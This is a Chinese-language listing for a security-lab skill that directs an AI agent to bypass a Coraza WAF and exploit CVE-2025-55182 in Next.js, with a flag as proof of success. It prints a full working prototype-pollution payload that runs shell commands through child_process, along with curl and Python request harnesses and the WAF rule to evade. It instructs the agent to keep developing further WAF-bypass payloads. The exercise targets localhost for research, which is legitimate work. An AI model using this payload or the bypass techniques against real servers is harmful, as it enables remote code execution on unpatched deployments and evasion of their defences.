关于 waf-bypass-hunter
waf-bypass-hunter 是面向安全研究的实战练习,目标是在 Coraza WAF 前测试针对 Next.js 的漏洞载荷。它要求通过 Go 与 Node.js 解析差异找到并验证绕过方式,以响应中的 flag 作为成功证明。
主要功能
- 01分析 Coraza 与 Node.js 解析差异
- 02测试 WAF 绕过载荷
- 03读取 WAF 拦截日志
- 04以 flag 验证有效绕过
适用场景
- 01研究 WAF 与后端解析差异
- 02验证漏洞载荷是否通过 WAF
- 03记录已确认的绕过技术
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ hacktronai/ skills --skill waf-bypass-hunter安装后在 Claude Code 中输入/waf-bypass-hunter确认已加载。
详细介绍
WAF 绕过猎手
目标
绕过 WAF,执行 CVE-2025-55182 漏洞利用载荷并获取 flag。
架构
┌─────────┐ ┌─────────────┐ ┌─────────────────┐
│ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │
│ │ │ (Go) │ │ (Node.js) │
│ │ │ Port: 9091 │ │ Port: 3000 │
└─────────┘ └─────────────┘ └─────────────────┘
漏洞利用(CVE-2025-55182)
此载荷通过原型污染触发 Next.js 16 中的 RCE:
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489
--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"
"$@0"
--yyy--
此载荷会被 WAF 拦截,因为其中包含:
:constructor__proto__
你的目标
尽可能找到多种 WAF 绕过方法。大约有 5 种不同的绕过技术可行。
对于每种绕过方法,都要提供满足以下条件的载荷:
- 绕过 WAF 检测——WAF 无法识别被拦截的模式
- 后端正确解析——Next.js/Busboy 能够解码并处理载荷
- 触发漏洞利用——执行 RCE 并返回 flag
每种绕过方法都利用了 Go 和 Node.js 之间不同的解析器行为。
测试方法
快速 PoC 测试(直接访问 WAF)
使用 curl 或 Python 直接请求 http://localhost:9091/ 上的 WAF:
curl --path-as-is -i -s -k -X POST \
-H 'Host: localhost' \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=yyy' \
--data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
'http://localhost:9091/'
import requests
resp = requests.post(
"http://localhost:9091/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect")) # Flag is here!
print(resp.text)
注意: flag 出现在 X-Action-Redirect 响应标头中,而不是响应正文中!
调试(Sandbox 执行器)
仅在需要查看 WAF 日志以了解请求被拦截的原因时,才使用执行器:
curl -X POST http://localhost:8009/execute \
-H "Content-Type: application/json" \
-d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'
响应中包含 WAF 日志:
{
"stdout": "403",
"stderr": "",
"waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
"execution_time_ms": 123
}
示例:被拦截的请求
import requests
payload = '''--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''
resp = requests.post(
"http://waf:9090/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code) # 403 - Blocked by WAF
print(resp.text)
可用源代码
研究 sources/ 中的解析器实现:
sources/coraza/internal/bodyprocessors/- WAF 的解析器(Go)sources/busboy/lib/- 后端的解析器(Node.js)sources/nextjs/packages/next/src/server/- Next.js 服务端 Action 处理逻辑
成功标准
重要:只有成功读取 flag,绕过才算有效。
假设或理论上的绕过不计入结果。你必须:
- 对 WAF 执行载荷
- 在响应中收到 flag
- 展示捕获到的 flag 作为证明
对于每种已确认的绕过方法:
- 记录所用技术
- 展示准确可用的载荷
- 展示捕获到的 flag
flag 可能出现在:
- 响应标头(例如
X-Action-Redirect) - 响应正文
- 错误消息
flag 的格式为 HACKTRON{...}
WAF 规则(你要绕过的规则)
# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"
方法
- 分析
sources/中的源代码 - 找出 Go 和 Node.js 解析方式不同之处
- 构造利用这种差异的载荷
- 直接向
localhost:9091上的 WAF 测试 PoC - 如果请求被拦截,使用执行器获取 WAF 日志并了解原因
- 反复尝试,直到捕获 flag
- 如果某种技术行不通,继续尝试其他方法——阅读更多代码,寻找其他解析差异
- 继续寻找——使用不同技术发现更多绕过方法!
评论
支持 Markdown